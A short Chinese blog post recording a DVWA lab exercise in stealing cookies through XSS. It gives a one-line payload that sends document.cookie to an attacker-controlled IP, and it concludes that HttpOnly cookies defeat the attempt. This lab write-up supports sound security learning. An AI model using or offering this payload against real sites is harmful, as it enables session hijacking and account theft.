XSS盗取cookie
xss盗取cookie
cookie概念
cookie是在http协议下,由web服务器保存在用户客户端上的小文本文件,常包含有关用户的信息
盗取cookie关键代码
1 | document.location='http://ip/cookie.php?cookie='+document.cookie |
cookie.php代码:
1 |
|
但是……在实操时遇到了点问题
我在WWW根目录下新建了个文件夹cookieCatch,在里面写了一个cookie.php,新建了个cookie.txt放弹回来的cookie。
然而,我在url上添加这串payload并回车时,什么事也没有发生……(在dvwa靶场进行测试,已确定安全等级为low,没做过滤)
在文本框输入这串payload时,确实重定向到我写的php页面了。
但是打开cookie.txt只看到这些。。。。
啊?
我觉得可能是浏览器的问题。打开控制台输入如下命令:
1 | javascript:alert(document.cookie) |
以上使用的是edge浏览器,我又换成了谷歌浏览器,结果还是同样的结果。。。
查看cookie 确认是有东西的
搞不明白了。。。
搞明白了
因为服务器端在setCookie时添加了httpOnly属性(设置为true)
httpOnly: 如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容
因此设置了httpOnly属性后,js脚本是不能读取cookie的。
问题解决。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Enderman_1's blog!